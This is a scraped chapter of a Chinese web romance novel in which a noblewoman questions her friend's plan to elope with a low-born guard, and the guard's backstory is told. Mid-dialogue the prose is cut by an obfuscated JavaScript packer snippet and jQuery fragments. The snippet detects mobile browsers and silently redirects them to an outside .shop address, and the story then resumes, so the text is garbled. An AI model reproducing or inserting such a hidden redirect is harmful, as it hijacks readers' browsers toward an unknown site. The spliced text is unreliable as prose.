文趣网 > 其他小说 > 莺娘闺事 > 21. 私情
    “少玲,婚姻可不是儿戏。没有父母之命媒妁之言,你难道要无名无分的跟在他身边么?你堂堂尚书府千金,又有个能干的哥哥,什么样的男儿郎得不到?何苦要……这般轻贱自己。”

    程时莺并非看不起身份低微之人,只是婚嫁关乎女子后半辈子,不可儿戏。今日叫她遇见了,总不能眼睁睁看着陆少铃做傻事。

    她苦苦相劝,一时间没留意斟酌自己的话语。她话音刚落,一旁的沈辰岚已是面红耳赤,再抬不起头。

    陆少铃护短道,“阿莺姐姐,嫁给一个不喜欢的郎君,这辈子有什么意思呢?为一个不喜欢的人生儿育女,等死了还要葬到一块儿,死后还要纠缠不休的,多可怕!我喜欢辰岚哥哥,他很好。他为人正直,会做饭、会捏泥人,还会攒钱给我买银簪。”

    她眸子发亮,看向沈辰岚的目光里满是爱意。听着她维护的话语,沈辰岚抑制不住扬起唇角,羞涩的夹了茶酿果子到陆少铃嘴边。

    陆少铃瞥了程时莺一眼,抬手掩去半张脸,就着沈辰岚伸过来的筷子,咬了一口茶酿果子。

    “好甜。”她感慨。

    将一切尽收眼底的程时莺:“……”

    会不会有点太不见外了?

    程时莺神色复杂。在她的印象里,陆少铃一直是个乖巧的少女,身边有个护她像是护眼珠似的兄长。眼前这一幕要是让陆少鸣看到了,不出片刻,这沈辰岚就要身首异处了。

    程时莺实在想不明白,陆少鸣看得这么紧,就连陆少铃去参加个花宴都要推了宫宴陪着,陆少铃哪来的机会勾搭上沈辰岚?

    非要说个原因,程时莺更偏向于是沈辰岚起了攀龙附凤的心,见陆少铃单纯,想要诓骗她,去做尚书府的乘龙快婿,妄图扶摇而上。

    沉思间,程时莺看向沈辰岚的目光越发不善,“不知沈公子在哪里做侍卫?可是良籍?若是奴籍的话,随意逃跑,主家可报官抓捕的。这样偷偷摸摸的,你自己无所谓,连累了少玲怎么办?”

    沈辰岚听陆少铃说起过程时莺,自然知道她是忠勇侯府的千金,来头比陆少铃还要大。被她极有压迫感的目光一盯,他心下有些畏惧,支支吾吾半晌说不出话。

    原本他不奢望能和陆少铃在一块,只求远远看着陆少铃幸福就满足了。偏偏那日下值,陆少铃趁私下无人,竟一把抱住了他,说要同他私奔。他心仪陆少铃,不忍拒绝,只好同意了。

    他本是农户之子,在私塾读了几年书,靠着给人纂抄书册过日。某日他外出添置笔纸,回到家时,家中院门大开,一行玄色锦袍的官兵将他家院子围的水泄不通。

    待他跌跌撞撞冲进院子的时候,只看到了他爹娘被残忍杀害的尸体。

    一个面容冷峻的男子站在尸体前,从容的吩咐着身旁的官兵办事。他听到那些官兵称呼男子作陆大人。

    大理寺新上任的大理寺少卿陆少鸣。

    他听闻过这个名字。这位陆大人,先是考中状元,后在皇帝跟前破了一桩奇案,被破格连升,年纪轻轻就做了大理寺少卿,前途无量。

    他哭的涕泗横流,跪在地上磕头,求陆少鸣为他爹娘伸冤。磕头时,他只看得到这位陆大人黑色的靴子。

    他头磕破了。

    这位陆大人的声音自上而下,冷冷淡淡的。他说,“职责所在,无需磕头。”

    沈辰岚的爹常在醉酒后,一遍一遍的同他嘱咐,靠人不如靠己。一旦靠了人,就相当于受了别人的恩赐,低了人一等,是耻辱。

    他此刻正如丧家之犬般摇尾乞怜。

    想到这里,他手掌攥紧了,指甲几乎掐进掌心。

    “……多谢大人。”

    案子没两日就破了。沈辰岚到大理寺去领爹娘尸体的时候,恰好看到陆少鸣策马路过。他眼前一亮,追了上去,视死如归的拦住马。

    “怎么?”陆少鸣皱眉。

    沈辰岚求陆少鸣收下他进大理寺,哪怕只是做个小小的狱卒。他想要跟着陆少鸣破案,为百姓伸冤。

    陆少鸣没理会。同行的徐戈看不下去,过来拍拍他的肩头,让他光明正大的考进去,不要走后门。

    等他反应过来时,陆少鸣已经骑马绝尘而去。

    没多久,大理寺贴了招贤令,沈辰岚堂堂正正的考了进去,做了一个小侍卫。刚进去的时候,他不够强壮,在操练的时候挨了无数的打。那段时间,他经常被打的鼻青脸肿。偶有一次撞见陆少鸣,陆少鸣问他怎么不回家,非要留下挨打。他坚定的说,这个大理寺他非留不可。

    过了一会儿,陆少鸣派人给他送了一瓶伤药。后来,他通过了考验,被调到了陆少鸣跟前。

    在一次随着陆少鸣破案归来的途中,陆少鸣忙着入宫回禀陛下,便让徐戈替他安排人去给他妹妹买份点心。徐戈无意看到沈辰岚,想到之前的一面之缘,笑着把这差事丢给了他。

    他听话去买了,剩下的四两银子全做了他的赏钱。

    跑了一次腿。得了四两银子,这陆大人可真是大方。他一边暗叹一边去了尚书府。

    就是这次送点心,他见到了陆少铃。

    后来,徐戈看他熟了去尚书府的路,接下来相同的差事都落到了他头上。一来二去的,他和陆少铃渐渐熟稔。

    一次护送陆少铃去往古寺上香的途中,遇到了一伙匪徒。惊慌中,少女跌进他怀中,下意识的抱住了他。

    对视上的那一刻,天雷勾地火,感情慢慢变质。他们隐瞒着尚书府的所有人,偷偷在一起了。

    ……

    他也曾起过断了的念头,毕竟他们二人身份悬殊,根本不可能走到一起。只要东窗事发,他必死无疑。

    就算尚书府留他一条狗命,他也会把所有的罪名揽到自己身上,保全陆少铃。

    思及此,他诚恳回了程时莺的发问,“我是真心待铃妹。”

    “真心?真心值几个钱?”程时莺眉头皱的更深了,“真心这种东西,说变就变,你就拿这个来保证?少玲,你说他会做饭会捏泥人会给你买银簪。可这些算什么?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775547|209331||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你一个尚书府千金,想要哪一样都会有人捧到你面前。”

    “可爱呢?”陆少铃道,“情爱一事,只有辰岚哥哥能给我。我们两情相悦,合该在一起。我愿意陪他到天涯海角,哪怕吃苦受累。”

    “那你爹娘,哥哥怎么办?”

    “我又不是不回来了。”陆少铃说的轻松。她扯开一个笑,“阿莺姐姐,帮帮我好不好?仅靠我和辰岚哥哥,只怕不出城门,就要被哥哥抓回去了。你帮帮我,将我们送出皇城好不好?”

    望着她哀求的目光,程时莺心知再劝无用,她已经完完全全陷了进去。如果陆少铃是她的妹妹或者什么,她有资格管的话,她一定把人绑回去了。可她只是陆少铃的一个朋友,她没有什么干涉的资格。

    可要她帮陆少铃……风险太大。一旦被陆少鸣和尚书府知晓,她和侯府都要背上帮人私奔的骂名。

    见她沉默不语,陆少铃又道,“阿莺姐姐,其实我很早就见过你了。在千灯节那日,我瞧见你受崔燕刁难,为了护着自己的丫鬟,同崔燕打到一块。那时我就想,我要是像你这样明媚张扬就好了。这样,我就不会一直受家中管教,不得自由。”

    她深深的瞧着程时莺。

    程时莺不由嗫嚅道,“……少玲,你可能还未懂得家人的苦心。”

    “我只想追随我自己的心意,难道有错吗?”

    程时莺没了话。

    说到底,她没有陆少铃的这份执着天真,反倒理智的有些冷漠。她扪心自问,对孟连庭是有喜欢的成分在的,但她太懦弱,太害怕,不敢相信孟连庭是真心求娶她。

    也不敢面对,如果有一天孟连庭变了心,她该何去何从?

    她本能的逃避,逃避一切可能的结果。

    在情意刚要有苗头的时候,她就狠心掐灭了。

    由己渡人,她也不相信陆少铃和沈辰岚的感情会持久。且不论变心一事,单论一个是高高在上的尚书府千金,一个是身份低微的小侍卫,真的能携手共度世间风雨么?

    放在话本中,倒能安心看个热闹,放到现实生活里,就很可怕了。

    程时莺没说好也没说不好,坐了一会儿就匆匆告别离去。

    她离去的时候,陆少铃依偎在沈辰岚怀中,二人细细低语,宛若一对苦命鸳鸯。

    她不敢多看,快步离去的时候,差点走丢了一只鞋子。

    她揣揣不安的回了忠勇侯府,一路穿过连廊,直奔老夫人院中去了。

    老夫人今日瞧着面色极好,正在小红的服侍下用着晚膳。见程时莺过来,她笑着将人招到手边坐下,让小红再上一副碗筷。

    “阿莺,我正要找你呢!”老夫人抚着程时莺的手,满脸慈爱,“我知道,孟家那小子上侯府来了。你可见过了,可钟意?”

    程时莺颔首,“见过了。”她并不想提起孟连庭,今日她心中乱糟糟的,实在不想再忧思许多。但府上的事瞒不过老夫人,老夫人既然提了,就肯定会问到底。她不愿拂了老夫人的好意。